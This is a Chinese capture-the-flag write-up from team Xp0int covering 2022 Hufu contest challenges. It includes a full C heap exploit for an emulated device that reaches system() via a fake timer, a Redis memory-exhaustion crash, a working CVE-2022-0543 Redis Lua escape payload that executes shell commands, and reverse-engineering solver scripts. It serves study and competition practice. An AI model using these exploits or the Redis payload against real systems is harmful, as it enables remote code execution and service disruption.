2022 虎符网络安全赛道部分题目 Writeup By Xp0int xp0int Posted on Mar 21 2022 ## 1. PWN ### 1.1 hfdev `Author: xf1les` 下图位置存在一字节溢出,能够将 opaque 结构体某个字段(`is_timer_avail`)设为 1,导致允许重复触发 timer,从而越界读写结构体缓冲区。 ![title](https://leanote.com/api/file/getImage?fileId=62371affab644142b47f1fdf) 下图是 opaque 结构体末尾字段: ![title](https://leanote.com/api/file/getImage?fileId=62372512ab644142b47f20fb) ![title](https://leanote.com/api/file/getImage?fileId=6237e396ab644142b47f2b34) 首先利用越界读泄露 buf 缓冲区后面的`timer`指针地址,获得堆地址。 然后设置 timer 的触发时间 `expire_time`,启动 timer。趁时间未到 expire_time 、 timer 没有被触发时,利用越界写将`memcopy_src`字段改写为`timer+0x10`,这个位置上面有`hfdev_func`地址。 触发后,timer 调用`hfdev_func`,将`memcopy_src`指向的内容复制到 buf,从而泄露`hfdev_func`地址,得到程序基址。 利用泄露的堆地址,在`op`中伪造一个 timer 对象,将`callback`设为`system`,`opaque`设为`cat flag`地址。利用越界写将 fake timer 地址覆盖到`timer`指针,然后触发 timer,最后实现 RCE。 ``` // FILE: exp.c // musl-gcc -static exp.c -s -o exp #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <poll.h> #include <pthread.h> #include <errno.h> #include <signal.h> #include <sys/syscall.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <poll.h> #include <sys/prctl.h> #include <stdint.h> #include <sys/socket.h> #include <sys/shm.h> #include <sys/msg.h> #include <sys/io.h> #include "pagemap.h" #define PORTNUM 0xc040 #define SLEEP_SEC 1 struct OP { char opcode; int16_t reg0; int16_t reg1; int16_t reg2; int16_t reg3; char payload[1015]; } __attribute__((packed)); void init() { setbuf(stdout,0); setbuf(stdin,0); setbuf(stderr,0); iopl(3); } int64_t v2p(void* vaddr) { char pmpath[0x100] = { 0 }; sprintf(pmpath, "/proc/%u/pagemap", getpid()); return read_pagemap(pmpath, (unsigned long)vaddr); } void pmio_write(int addr, int16_t val) { outw(val, PORTNUM+addr); } int16_t pmio_read(int addr) { return inw(PORTNUM+addr); } void trigger_aio() { pmio_write(12, 0); } void set_len(int16_t len) { pmio_write(6, len); } void set_expire_time(int16_t nsec) { pmio_write(10, nsec); } void set_addr(int32_t paddr) { //~ int32_t paddr = v2p(vaddr); //~ printf("0x%llx\n", paddr); pmio_write(2, paddr & 0xffff); pmio_write(4, (paddr >> 16)& 0xffff); } int main() { init(); char data[0x1000] = {0}; struct OP op1; memset(&op1, 0, sizeof(op1)); int32_t op_addr = v2p(&op1); set_addr(op_addr); set_len(0x400); int32_t data_addr = v2p((void*)data); printf("[*] offset += 0x200 (reg3 XOR)\n"); op1.opcode = 0x10; op1.reg0 = 0; op1.reg1 = 8706; op1.reg2 = 0x200; trigger_aio(); sleep(SLEEP_SEC); printf("[*] offset += 0x100 (timer)\n"); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x30; op1.reg0 = 0x100; op1.reg1 = 0x80; trigger_aio(); sleep(SLEEP_SEC); printf("[*] is_timer_avail = 0x1 (XOR)\n"); // BUG memset(&op1, 0, sizeof(op1)); op1.opcode = 0x10; op1.reg0 = 0; op1.reg1 = 8226; op1.reg2 = 0x300; *((char*)&op1.reg3+0x300) = 0x1; trigger_aio(); sleep(SLEEP_SEC); printf("[*] offset += 0x10 (timer)\n"); // OOB memset(&op1, 0, sizeof(op1)); op1.opcode = 0x30; op1.reg0 = 0x10; op1.reg1 = 0x80; trigger_aio(); sleep(SLEEP_SEC); printf("[*] set memcopy_src (timer)\n"); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x30; trigger_aio(); sleep(SLEEP_SEC); printf("[*] leaking heap address...\n"); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x20; *(int64_t*)(&op1.reg0) = data_addr; *(int16_t*)(&op1.payload[0]) = 0x310; trigger_aio(); sleep(SLEEP_SEC); int64_t op_ptr = *(int64_t*)(data+0x308); int64_t base_ptr = op_ptr-0xA88; int64_t ctx_ptr = op_ptr-0x122098; int64_t timer_ptr = op_ptr+0x12b8; //~ int64_t timer_list_ptr = op_ptr-0x107e588; //~ int64_t timer_list_ptr = op_ptr-0x1190ab8; int64_t timer_list_ptr = op_ptr-0x110df78; printf("[!] op_ptr: 0x%llx\n", op_ptr); printf("[!] base_ptr: 0x%llx\n", base_ptr); printf("[!] ctx_ptr: 0x%llx\n", ctx_ptr); printf("[!] timer_ptr: 0x%llx\n", timer_ptr); printf("[!] timer_list_ptr: 0x%llx\n", timer_list_ptr); printf("[*] is_timer_avail = 0x1 (XOR)\n"); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x10; op1.reg0 = 0; op1.reg1 = 8226; op1.reg2 = 0x300; *((char*)&op1.reg3+0x300) = 0x1; trigger_aio(); sleep(SLEEP_SEC); printf("[*] Setting timer delay...\n"); set_expire_time(100); sleep(SLEEP_SEC); printf("[*] Triggering timer...\n"); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x30; op1.reg0 = 8; trigger_aio(); sleep(SLEEP_SEC); printf("[*] Corrupting memcopy_src to timer_ptr while waiting...\n"); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x10; op1.reg0 = 0; op1.reg1 = 8226; op1.reg2 = 0x310-1; *(int64_t*)((char*)&op1.reg3+0x308) = (timer_ptr+0x10) ^ op_ptr; // memcopy_src trigger_aio(); sleep(SLEEP_SEC); printf("[*] Waiting for timer...\n"); //~ getchar(); sleep(10); printf("[*] leaking code address...\n"); memset(&data, 0, sizeof(data)); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x20; *(int64_t*)(&op1.reg0) = data_addr; *(int16_t*)(&op1.payload[0]) = 0x318; trigger_aio(); sleep(SLEEP_SEC); int64_t hfdev_func_ptr = *(int64_t*)(data+0x308+8); int64_t codebase = hfdev_func_ptr-0x381190; int64_t system_ptr = codebase+0x2D6610; printf("[!] hfdev_func_ptr: 0x%llx\n", hfdev_func_ptr); printf("[!] codebase: 0x%llx\n", codebase); printf("[!] system_ptr: 0x%llx\n", system_ptr); int64_t fake_timer = op_ptr + 9; set_expire_time(0); sleep(SLEEP_SEC); printf("[*] is_timer_avail = 0x1 (XOR)\n"); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x10; op1.reg0 = 0; op1.reg1 = 8226; op1.reg2 = 0x300; *((char*)&op1.reg3+0x300) = 0x1; trigger_aio(); sleep(SLEEP_SEC); printf("[-] Ready to RCE>"); getchar(); printf("[*] Triggering fake timer for RCE...\n"); memset(&op1, 0, sizeof(op1)); op1.opcode = 0x30; uint64_t* ptr = (uint64_t*)((char*)&op1+9); ptr[0] = 0xffffffffffffffff; ptr[1] = timer_list_ptr; ptr[2] = system_ptr; ptr[3] = fake_timer+8*8; strcpy((char*)&ptr[8], "ls -l && cat flag"); trigger_aio(); sleep(SLEEP_SEC); getchar(); } ``` ``` // FILE: pagemap.h // https://www.cnblogs.com/pengdonglin137/p/6802108.html #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <assert.h> #include <errno.h> #include <stdint.h> #include <string.h> #define PAGEMAP_ENTRY 8 #define GET_BIT(X,Y) (X & ((uint64_t)1<<Y)) >> Y #define GET_PFN(X) X & 0x7FFFFFFFFFFFFF const int __endian_bit = 1; #define is_bigendian() ( (*(char*)&__endian_bit) == 0 ) int i, c, pid, status; unsigned long virt_addr; uint64_t read_val, file_offset, page_size; char path_buf [0x100] = {}; FILE * f; char *end; int read_pagemap(char * path_buf, unsigned long virt_addr); int read_pagemap(char * path_buf, unsigned long virt_addr){ f = fopen(path_buf, "rb"); if(!f){ printf("Error! Cannot open %s\n", path_buf); return -1; } //Shifting by virt-addr-offset number of bytes //and multiplying by the size of an address (the size of an entry in pagemap file) file_offset = (virt_addr / getpagesize()) * PAGEMAP_ENTRY; printf("Vaddr: 0x%lx, Page_size: %lld, Entry_size: %d\n", virt_addr, getpagesize(), PAGEMAP_ENTRY); printf("Reading %s at 0x%llx\n", path_buf, (unsigned long long) file_offset); status = fseek(f, file_offset, SEEK_SET); if(status){ perror("Failed to do fseek!"); return -1; } errno = 0; read_val = 0; unsigned char c_buf[PAGEMAP_ENTRY]; for(i=0; i < PAGEMAP_ENTRY; i++){ c = getc(f); if(c==EOF){ printf("\nReached end of the file\n"); return 0; } if(is_bigendian()) c_buf[i] = c; else c_buf[PAGEMAP_ENTRY - i - 1] = c; printf("[%d]0x%x ", i, c); } for(i=0; i < PAGEMAP_ENTRY; i++){ //printf("%d ",c_buf[i]); read_val = (read_val << 8) + c_buf[i]; } printf("\n"); printf("Result: 0x%llx\n", (unsigned long long) read_val); uint64_t pfn; if(GET_BIT(read_val, 63)) { pfn = GET_PFN(read_val); printf("PFN: 0x%llx (0x%llx)\n", pfn, pfn * getpagesize() + virt_addr % getpagesize()); } else printf("Page not present\n"); if(GET_BIT(read_val, 62)) printf("Page swapped\n"); fclose(f); uint64_t paddr = pfn * getpagesize() + virt_addr % getpagesize(); return paddr; } ``` ![title](https://leanote.com/api/file/getImage?fileId=6237e1b9ab644142b47f2b28) ## 2. MISC ### 2.1 Quest-Crash `Author: ABU` 使用burp一直进行set key-value(value尽量大来减少请求次数),直至将redis的存储占满,再次set时就会奔溃 ![图片标题](https://leanote.com/api/file/getImage?fileId=6236f283ab644142b47f1ec8) 返回页面获取flag ![图片标题](https://leanote.com/api/file/getImage?fileId=6236f2a8ab644142b47f1eca) ### 2.2 Quest-RCE `Author: hututu` CVE-2022-0543 参考:https://www.adminxe.com/3620.html payload: ```json {"query":"SET \"dir\" \"/var/www/uploads/\" \n eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0"} ``` ![图片标题](https://leanote.com/api/file/getImage?fileId=6236f198ab644142b47f1ebb) flag: HFCTF{34da8018-8720-42a0-95db-773a452ff1ee} ## 3. RE ### 3.1 Contra 2048 `Author: cew` 关键逻辑在libnative和game_manager.js中,libnative中init先异或解密了一些字符串,根据这些字符引用,可以发现带有反调试,把原有字符值改一下就可以过反调试检测。 ![title](https://leanote.com/api/file/getImage?fileId=62370152ab644142b47f1f44) 因为提供了流量包,可以根据socket相关函数找到对应的地方 ![title](https://leanote.com/api/file/getImage?fileId=6237021dab644142b47f1f49) 每次传的0x34字节都属于一种结构体,然后根据这个结构体处理pcap的数据 ![title](https://leanote.com/api/file/getImage?fileId=62370264ab644142b47f1f4b) ``` import struct from Crypto.Cipher import AES f = bytearray(open("data.bin", "rb").read())[:-1] aes_key = None aes = None cry = [] for i in range(0, len(f), 0x34): const_num = struct.unpack("<i", bytes(f[i+4:i+8]))[0] if const_num == 1: aes_key = bytes(f[i+21:i+21+16]) aes = AES.new(aes_key, AES.MODE_ECB) elif const_num == 2: msg_len = struct.unpack("<i", f[i+16:i+20])[0] # print(msg_len) msg = bytes(f[i+21:i+21+msg_len-1]) # print(aes.decrypt(msg)) cry.append(bytearray(aes.decrypt(msg))[4]) print(cry) print(bytes(cry)) print(len(cry)) ``` 其中data.bin就是wireshark导出的data,得到的cry是经过libnative check函数中魔改aes加密的密文 ![title](https://leanote.com/api/file/getImage?fileId=623703b3ab644142b47f1f50) ![title](https://leanote.com/api/file/getImage?fileId=623703ffab644142b47f1f52) 魔改AES的密钥来自game_manager.js的nnn参数,加密数据来自game_manager.js中的bbb参数,修改地方只有sbox和逆sbox ![title](https://leanote.com/api/file/getImage?fileId=62370437ab644142b47f1f53) ![title](https://leanote.com/api/file/getImage?fileId=623704adab644142b47f1f57) ![title](https://leanote.com/api/file/getImage?fileId=62370527ab644142b47f1f60) 而bbb参数是由xtea加密得到的,xtea的密钥kkk又来自libnative。。 ![title](https://leanote.com/api/file/getImage?fileId=623705b1ab644142b47f1f63) ![title](https://leanote.com/api/file/getImage?fileId=62370644ab644142b47f1f65) 先用pcap得到的数据魔改AES解密,再xtea解密,就得到flag,其中aes来自https://github.com/kokke/tiny-AES-c/blob/master/aes.c,替换相应的sbox和逆sbox就行。 ``` #include <cstdio> #include <cstdlib> #include <cstdint> #include <Windows.h> #include <xmmintrin.h> #include "aes.hpp" #define AES128 1 #define ECB 1 void decipherr(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds; for (i = 0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0] = v0; v[1] = v1; } int main() { uint8_t key[] = { 72, 101, 108, 108, 111, 32, 102, 114, 111, 109, 32, 50, 48, 52, 56, 33 }; uint8_t cipher[100] = { 174, 171, 207, 246, 74, 249, 129, 3, 174, 132, 149, 48, 57, 153, 218, 1, 53, 119, 54, 231, 124, 65, 77, 67, 239, 176, 170, 155, 1, 39, 33, 156, 2, 225, 14, 103, 194, 189, 254, 194, 163, 151, 234, 239, 101, 237, 139, 65, 0 }; struct AES_ctx ctx; AES_init_ctx(&ctx, key); AES_ECB_decrypt(&ctx, cipher); AES_ECB_decrypt(&ctx, cipher + 16); AES_ECB_decrypt(&ctx, cipher + 32); //for (int i = 0; i < 48; i++) { // printf("%d, ", cipher[i]); //} //uint8_t xtea_key[] = { 72, 101, 108, 108, 111, 32, 102, 114, 111, 109, 32, 67, 43, 43, 40, 117 }; uint8_t xtea_key[] = { 40, 117, 112, 44, 32, 117, 112, 44, 32, 100, 111, 119, 110, 44, 32, 100 }; uint8_t xtea_cipher[48] = { 0 }; for (int i = 0; i < 48; i += 4) { for (int j = 0; j < 4; j++) { xtea_cipher[i + j] = cipher[i + 3 - j]; } } decipherr(32, (uint32_t*)(cipher), (uint32_t*)xtea_key); decipherr(32, (uint32_t*)(cipher +8), (uint32_t*)xtea_key); decipherr(32, (uint32_t*)(cipher +16), (uint32_t*)xtea_key); decipherr(32, (uint32_t*)(cipher + 24), (uint32_t*)xtea_key); decipherr(32, (uint32_t*)(cipher + 32), (uint32_t*)xtea_key); decipherr(32, (uint32_t*)(cipher + 40), (uint32_t*)xtea_key); /*for (int i = 0; i < 48; i++) { printf("%s", cipher[i]); }*/ printf("%s", (char*)cipher); } ``` ![title](https://leanote.com/api/file/getImage?fileId=62370784ab644142b47f1f75) ### 3.2 the_shellcode `Author: JANlittle、cew` 32bit的exe,加了themida,不能直接拖IDA,选择x32dbg过反调试,运行到输入中断的时候搜字符串,可找到解压缩后的image,直接从0x9E0000处开始dump内存,即可得到原本的程序,直接丢IDA看。 分析可得需要输入352字节的base64编码的shellcode,解码后对shellcode进行每字节循环左移3位+魔改XXTEA加密后与密文进行验证,验证通过后再用shellcode验证14字节的flag。 首先先解密shellcode: ```c++ #include <stdio.h> #include <stdint.h> #include "D:\Ctf-tools\Reverse\IDA7.5\plugins\defs.h" #define DELTA 0x9e3779b9 #define MX (((z >> 6 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z))) using namespace std; void btea(uint32_t *v, int n, uint32_t const key[4]) { uint32_t y, z, sum; unsigned p, rounds, e; if (n > 1) /* Coding Part */ { rounds = 6 + 52 / n; sum = 0; z = v[n - 1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p = 0; p < n - 1; p++) { y = v[p + 1]; z = v[p] += MX; } y = v[0]; z = v[n - 1] += MX; } while (--rounds); } else if (n < -1) /* Decoding Part */ { n = -n; rounds = 6 + 52 / n; sum = rounds * DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) { z = v[p - 1]; y = v[p] -= MX; } z = v[n - 1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } } int main() { unsigned int enc[66] = { 0x4B6B89A1, 0x74C15453, 0x4092A06E, 0x429B0C07, 0x40281E84, 0x8B5B44C9, 0x66FEB37B, 0x3C77A603, 0x79C5892D, 0x0D7ADA97, 0x1D51AA56, 0x02D4D703, 0x4FA526BA, 0x32FAD64A, 0x0C0F6091, 0x562B7593, 0xDB9ADD67, 0x76165563, 0xA5F79315, 0x3AEB991D, 0x1AB721D4, 0xAACD9D2C, 0x825C2B27, 0x76A7761A, 0xB4005F18, 0x117F3763, 0x512CC540, 0xC594A16F, 0xD0E24F8C, 0x9CA3E2E9, 0x0A9CC2D5, 0x4629E61D, 0x637129E3, 0xCA4E8AD7, 0xF5DFAF71, 0x474E68AB, 0x542FBC3A, 0xD6741617, 0xAD0DBBE5, 0x62F7BBE3, 0xC8D68C07, 0x880E950E, 0xF80F25BA, 0x767A264C, 0x9A7CE014, 0x5C8BC9EE, 0x5D9EF7D4, 0xB999ACDE, 0xB2EC8E13, 0xEE68232D, 0x927C5FCE, 0xC9E3A85D, 0xAC74B56B, 0x42B6E712, 0xCD2898DA, 0xFCF11C58, 0xF57075EE, 0x5076E678, 0xD4D66A35, 0x95105AB9, 0x1BB04403, 0xB240B959, 0x7B4E261A, 0x23D129D8, 0xF5E752CD, 0x4EA78F70}; uint32_t key[4] = {116, 111, 114, 97}; btea(enc, -66, key); char* enc_char = (char*)enc; for (size_t i = 0; i < 66 * 4; i++) enc_char[i] = __ROR1__(enc_char[i], 3); FILE *fshell = fopen("shellcode", "wb"); fwrite((void *)enc, 4, 66, fshell); fclose(fshell); return 0; } ``` 分析shellcode,可以知道flag需要满足: ![](https://leanote.com/api/file/getImage?fileId=6236fdbaab644142b47f1f3e) 而key在前面是跟flag无关的一个数组,可以通过调试获得 v24在前面可以找到生成的方式: ![](https://leanote.com/api/file/getImage?fileId=6236fdbaab644142b47f1f3d) 可以看到v24的生成方式跟v20是差不多的,其中v19也是跟flag无关的一个数组,可以通过调试获得 综述,flag实际为:`flag[i] = v19[i] + key[i]%5` 写一个简单的调试shellcode用的程序: ```c #include <stdio.h> #include <stdlib.h> #include <Windows.h> #include <string.h> int main() { void *func_ptr = VirtualAlloc(NULL, 264, MEM_COMMIT, PAGE_EXECUTE_READWRITE); FILE *fshell = fopen("shellcode", "rb"); fread(func_ptr, 1, 264, fshell); fclose(fshell); void (*func)(unsigned int(unsigned int), char *, unsigned int, int, int, int) = (void (*)(unsigned int(unsigned int), char *, unsigned int, int, int, int))func_ptr; char flag[14] = "11111111111111"; func((unsigned int (*)(unsigned int))printf, flag, 0, 264, 4096, 64); return 0; } ``` 调试拿到数据后直接求解: ```python import base64 from hashlib import md5 key = b'LoadLibraryExA' enc = [0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E] enc = bytes([enc[i] + key[i] % 5 for i in range(14)]) print(enc) with open('shellcode', 'rb') as f: content = base64.b64encode(f.read()) content += enc print('HFCTF{' + md5(content).hexdigest() + '}') ``` ### 3.3 fpbe `Author: JANlittle` 由题目提示知道是一个用了BPF的程序,试着按题目提示`sudo cat /sys/kernel/debug/tracing/trace_pipe`,发现毛都没有。。 搜了一下有关BPF的资料,可以了解到BPF是实现了一个内核虚拟机的,它的字节码文件也是ELF格式,通常以单独的文件形式存在或内联编译进程序中。题目只给了ELF,没给BPF字节码文件,说明应该是内联编译进去了,所以理应关键就是找到字节码在哪。 总之先看程序,可以看到`bpf_program__attach_uprobe`会调用`uprobed_function`,点进去看几眼,然后就退出来————因为这是对flag作sha256验证,也没啥魔改。 接下来从`fpbe_bpf__open_and_load`入手,从名字看就知道是加载BPF的地方(可能?)。一直查看函数调用,在`fpbe_bpf__create_skeleton`可以看到初始化`skeleton`时也初始化了BPF字节码和BPF程序,所以BPF字节码在0x4F4018,长度为1648。 ![](https://leanote.com/api/file/getImage?fileId=6236f92aab644142b47f1f0b) 把字节码dump出来,然后用https://github.com/cylance/eBPF_processor解析,对照https://www.kernel.org/doc/html/latest/bpf/instruction-set.html可分析出BPF字节码是一个线性方程组验证flag的功能 ```python from z3 import * flag_enc = [BitVec('f%d' % i, 32) for i in range(4)] s = Solver() s.add(flag_enc[3] * 0xCC8E + flag_enc[2] * 0x71FB + flag_enc[1] * 0xFB88 + flag_enc[0] * 0x6DC0 == 0xBE18A1735995) s.add(flag_enc[3] * 0x9284 + flag_enc[2] * 0xADD3 + flag_enc[1] * 0x6AE5 + flag_enc[0] * 0xF1BF == 0xA556E5540340) s.add(flag_enc[3] * 0xE712 + flag_enc[2] * 0x652D + flag_enc[1] * 0x8028 + flag_enc[0] * 0xDD85 == 0xA6F374484DA3) s.add(flag_enc[3] * 0xF23A + flag_enc[2] * 0x7C8E + flag_enc[1] * 0xCA43 + flag_enc[0] * 0x822C == 0xB99C485A7277) if s.check() == sat: m = s.model() flag = [m[flag_enc[i]].as_long().to_bytes(4,'little').decode() for i in range(4)] print(''.join(flag)) ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 2022 MRCTF 部分题目 Writeup By Xp0int
没有帐号? 立即注册